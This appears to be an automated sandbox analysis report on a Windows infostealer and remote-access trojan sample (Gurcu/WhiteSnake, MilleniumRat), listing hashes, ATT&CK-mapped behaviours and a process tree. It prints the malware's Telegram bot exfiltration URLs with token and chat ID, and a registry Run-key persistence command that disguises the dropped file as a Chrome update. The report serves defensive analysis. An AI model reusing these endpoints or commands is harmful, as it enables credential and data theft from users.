gurcu | 9165705656ffe7608922ff366357e3b98b0e5ece8c6d39780874c7b4bd7b2dd3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-12-2024 09:04

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General

Target

23b25ce90f70ffa0435db8df6a6764f2.exe
Size

5.6MB
MD5

23b25ce90f70ffa0435db8df6a6764f2
SHA1

72d0c052f26309704f13c090495c3cdea4ed1bf2
SHA256

9165705656ffe7608922ff366357e3b98b0e5ece8c6d39780874c7b4bd7b2dd3
SHA512

b6c81131119b95df9d789329ffd4553c1624f7d9e38c46924ac4838e59ccb59b538646f36d8c80b9361412842f8c0328aa4177e93e72e22c15077669ee9904ec
SSDEEP

98304:tJRl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:tWOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendMessage?chat_id=7538374929

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/getUpdates?offset=-

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	23b25ce90f70ffa0435db8df6a6764f2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
1592	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
432	23b25ce90f70ffa0435db8df6a6764f2.exe
1592	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
11	raw.githubusercontent.com
24	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3436	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4172	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
224	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
432	23b25ce90f70ffa0435db8df6a6764f2.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe
1592	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	23b25ce90f70ffa0435db8df6a6764f2.exe
Token: SeDebugPrivilege	3436	tasklist.exe
Token: SeDebugPrivilege	1592	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1592	Update.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 432 wrote to memory of 2364	432	23b25ce90f70ffa0435db8df6a6764f2.exe	83
PID 432 wrote to memory of 2364	432	23b25ce90f70ffa0435db8df6a6764f2.exe	83
PID 2364 wrote to memory of 4532	2364	cmd.exe	85
PID 2364 wrote to memory of 4532	2364	cmd.exe	85
PID 2364 wrote to memory of 3436	2364	cmd.exe	86
PID 2364 wrote to memory of 3436	2364	cmd.exe	86
PID 2364 wrote to memory of 2416	2364	cmd.exe	87
PID 2364 wrote to memory of 2416	2364	cmd.exe	87
PID 2364 wrote to memory of 4172	2364	cmd.exe	88
PID 2364 wrote to memory of 4172	2364	cmd.exe	88
PID 2364 wrote to memory of 1592	2364	cmd.exe	89
PID 2364 wrote to memory of 1592	2364	cmd.exe	89
PID 1592 wrote to memory of 3160	1592	Update.exe	94
PID 1592 wrote to memory of 3160	1592	Update.exe	94
PID 3160 wrote to memory of 224	3160	cmd.exe	96
PID 3160 wrote to memory of 224	3160	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\23b25ce90f70ffa0435db8df6a6764f2.exe
"C:\Users\Admin\AppData\Local\Temp\23b25ce90f70ffa0435db8df6a6764f2.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp900B.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp900B.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4532
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 432"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2416
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4172
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3160
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp900B.tmp.bat

Filesize
285B

MD5
4bb6acb18dedcb23c7390954a294589f

SHA1
e9c98c30a608cdae463706c52f277e0a260b8d7b

SHA256
0f2a422da0b38de809f139aed4fffb0a1632539c7dc10b3b998c2a4318ebc509

SHA512
a98f36b3e8c3ca58a8b0ed06a15caec5545e9c337724a0f79d19b08448bd7d4d55a9aaac618fef7b2dae386340dd39202a4555e126e59b38abba6eacbf058f9c

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
23b25ce90f70ffa0435db8df6a6764f2

SHA1
72d0c052f26309704f13c090495c3cdea4ed1bf2

SHA256
9165705656ffe7608922ff366357e3b98b0e5ece8c6d39780874c7b4bd7b2dd3

SHA512
b6c81131119b95df9d789329ffd4553c1624f7d9e38c46924ac4838e59ccb59b538646f36d8c80b9361412842f8c0328aa4177e93e72e22c15077669ee9904ec

Download Submit
memory/432-7-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

Filesize
10.8MB

Download
memory/432-0-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

Filesize
8KB

Download
memory/432-8-0x00000290BE460000-0x00000290BE47E000-memory.dmp

Filesize
120KB

Download
memory/432-9-0x00000290BE440000-0x00000290BE44A000-memory.dmp

Filesize
40KB

Download
memory/432-13-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

Filesize
10.8MB

Download
memory/432-6-0x00000290D8500000-0x00000290D8576000-memory.dmp

Filesize
472KB

Download
memory/432-1-0x00000290BDA50000-0x00000290BDFF2000-memory.dmp

Filesize
5.6MB

Download
memory/1592-20-0x000001BBFDCC0000-0x000001BBFDD2A000-memory.dmp

Filesize
424KB

Download
memory/1592-22-0x000001BBFDD30000-0x000001BBFDDE2000-memory.dmp

Filesize
712KB

Download
memory/1592-23-0x000001BBFDE30000-0x000001BBFDE80000-memory.dmp

Filesize
320KB

Download
memory/1592-24-0x000001BBFDE80000-0x000001BBFDEA2000-memory.dmp

Filesize
136KB

Download
memory/1592-26-0x000001BBFECE0000-0x000001BBFED1A000-memory.dmp

Filesize
232KB

Download
memory/1592-27-0x000001BBFE0B0000-0x000001BBFE0D6000-memory.dmp

Filesize
152KB

Download
memory/1592-28-0x000001BBFED20000-0x000001BBFF04E000-memory.dmp

Filesize
3.2MB

Download
memory/1592-47-0x000001BBFF070000-0x000001BBFF082000-memory.dmp

Filesize
72KB

Download